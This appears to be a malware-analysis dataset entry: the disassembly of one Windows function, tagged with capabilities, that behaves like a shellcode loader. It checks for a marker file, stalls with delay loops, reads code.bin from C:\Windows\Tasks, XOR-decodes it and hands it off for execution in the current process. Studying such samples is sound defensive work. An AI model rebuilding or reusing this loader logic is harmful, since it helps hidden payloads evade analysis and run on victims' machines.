Function at 0x1400017d0
Capabilities:
Check if file exists
Encode data using xor
Get file attributes

Disassembly:
mov qword [rsp + 0x18], rbx
mov qword [rsp + 0x20], rbp
push rsi
push rdi
push r14
sub rsp, 0x30
lea rcx, str.C:WindowsTasksconfig.txt
call qword [sym.imp.KERNEL32.dll_GetFileAttributesW]
cmp eax, 0xffffffff
je 0x140001ba1
test al, 0x10
jne 0x140001ba1
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov edx, 8
mov r8d, 0x208
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
xor edi, edi
mov rsi, rax
test rax, rax
je 0x140001873
lea r8, str.C:WindowsTasksconfig.txt
mov rcx, rax
lea rdx, str.___File___ls__exists__n
call qword [sym.imp.USER32.dll_wsprintfA]
mov ecx, 0xfffffff5
mov ebx, eax
call qword [sym.imp.KERNEL32.dll_GetStdHandle]
xor r9d, r9d
mov qword [rsp + 0x20], rdi
mov rcx, rax
mov r8d, ebx
mov rdx, rsi
call qword [sym.imp.KERNEL32.dll_WriteConsoleA]
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov r8, rsi
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_HeapFree]
lea rax, [rsp + 0x58]
mov esi, edi
mov dword [rsp + 0x58], eax
mov r14d, edi
call fcn.140001c30
mov r8d, eax
inc r14d
mov eax, 0x66666667
imul r8d
sar edx, 2
mov ecx, edx
shr ecx, 0x1f
add edx, ecx
lea ecx, [rdx + rdx*4]
add ecx, ecx
sub r8d, ecx
inc r8d
add esi, r8d
cmp esi, 0xcab
jle 0x140001920
mov esi, edi
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov edx, 8
mov r8d, 0x208
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
mov rbp, rax
test rax, rax
je 0x140001920
lea rdx, str.___Sum_exceeded_target__resetting_sum_to_0._n
mov rcx, rax
call qword [sym.imp.USER32.dll_wsprintfA]
mov ecx, 0xfffffff5
mov ebx, eax
call qword [sym.imp.KERNEL32.dll_GetStdHandle]
xor r9d, r9d
mov qword [rsp + 0x20], rdi
mov rcx, rax
mov r8d, ebx
mov rdx, rbp
call qword [sym.imp.KERNEL32.dll_WriteConsoleA]
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov r8, rbp
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_HeapFree]
mov dword [rsp + 0x50], edi
mov eax, dword [rsp + 0x50]
nop dword [rax + rax]
mov eax, dword [rsp + 0x50]
mov eax, dword [rsp + 0x50]
mov eax, dword [rsp + 0x50]
inc eax
mov dword [rsp + 0x50], eax
mov eax, dword [rsp + 0x50]
cmp eax, 0x989680
jl 0x140001930
cmp esi, 0xcab
jne 0x140001881
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov edx, 8
mov r8d, 0x208
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
mov rsi, rax
test rax, rax
je 0x1400019cc
mov r9d, r14d
lea rdx, str.___Target_number__d_reached_in__d_attempts._n
mov r8d, 0xcab
mov rcx, rax
call qword [sym.imp.USER32.dll_wsprintfA]
mov ecx, 0xfffffff5
mov ebx, eax
call qword [sym.imp.KERNEL32.dll_GetStdHandle]
xor r9d, r9d
mov qword [rsp + 0x20], rdi
mov rcx, rax
mov r8d, ebx
mov rdx, rsi
call qword [sym.imp.KERNEL32.dll_WriteConsoleA]
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov r8, rsi
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_HeapFree]
mov qword [rsp + 0x50], rdi
mov qword [rsp + 0x58], rdi
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov edx, 8
mov r8d, 0x208
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
mov rsi, rax
test rax, rax
je 0x140001a47
lea r8, str.C:WindowsTaskscode.bin
mov rcx, rax
lea rdx, str.___Load_data_from_file:__ls__n
call qword [sym.imp.USER32.dll_wsprintfA]
mov ecx, 0xfffffff5
mov ebx, eax
call qword [sym.imp.KERNEL32.dll_GetStdHandle]
xor r9d, r9d
mov qword [rsp + 0x20], rdi
mov rcx, rax
mov r8d, ebx
mov rdx, rsi
call qword [sym.imp.KERNEL32.dll_WriteConsoleA]
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov r8, rsi
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_HeapFree]
lea r8, [rsp + 0x58]
lea rdx, [rsp + 0x50]
lea rcx, str.C:WindowsTaskscode.bin
call fcn.1400014f0
test eax, eax
je 0x140001c14
mov rsi, qword [rsp + 0x58]
mov rax, rdi
mov r14, qword [rsp + 0x50]
test rsi, rsi
je 0x140001ab1
mov rdx, r14
lea r9, section..data
mov r8, rsi
nop dword [rax]
nop dword [rax + rax]
cmp rax, 7
lea rdx, [rdx + 1]
mov rcx, rdi
cmovb rcx, rax
movzx eax, byte [rcx + r9]
xor byte [rdx - 1], al
lea rax, [rcx + 1]
sub r8, 1
jne 0x140001a90
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov edx, 8
mov r8d, 0x208
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
mov rbp, rax
test rax, rax
je 0x140001b1e
mov r8, r14
lea rdx, str.___Buffer_at:__p__n
mov rcx, rax
call qword [sym.imp.USER32.dll_wsprintfA]
mov ecx, 0xfffffff5
mov ebx, eax
call qword [sym.imp.KERNEL32.dll_GetStdHandle]
xor r9d, r9d
mov qword [rsp + 0x20], rdi
mov rcx, rax
mov r8d, ebx
mov rdx, rbp
call qword [sym.imp.KERNEL32.dll_WriteConsoleA]
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov r8, rbp
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_HeapFree]
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov edx, 8
mov r8d, 0x208
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
mov rbp, rax
test rax, rax
je 0x140001b8b
mov r8, rsi
lea rdx, str.___Lenght_of_buffer:__d__n
mov rcx, rax
call qword [sym.imp.USER32.dll_wsprintfA]
mov ecx, 0xfffffff5
mov ebx, eax
call qword [sym.imp.KERNEL32.dll_GetStdHandle]
xor r9d, r9d
mov qword [rsp + 0x20], rdi
mov rcx, rax
mov r8d, ebx
mov rdx, rbp
call qword [sym.imp.KERNEL32.dll_WriteConsoleA]
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov r8, rbp
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_HeapFree]
mov r8, rsi
mov rdx, r14
mov rcx, 0xffffffffffffffff
call fcn.140001050
xor eax, eax
jmp 0x140001c19
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov edx, 8
mov r8d, 0x208
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
mov rsi, rax
test rax, rax
je 0x140001c14
lea r8, str.C:WindowsTasksconfig.txt
mov rcx, rax
lea rdx, str.____File___ls__does_not_exist__n
call qword [sym.imp.USER32.dll_wsprintfA]
mov ecx, 0xfffffff5
mov ebx, eax
call qword [sym.imp.KERNEL32.dll_GetStdHandle]
xor edi, edi
xor r9d, r9d
mov rcx, rax
mov qword [rsp + 0x20], rdi
mov r8d, ebx
mov rdx, rsi
call qword [sym.imp.KERNEL32.dll_WriteConsoleA]
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov r8, rsi
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_HeapFree]
mov eax, 0xffffffff
mov rbx, qword [rsp + 0x60]
mov rbp, qword [rsp + 0x68]
add rsp, 0x30
pop r14
pop rdi
pop rsi
ret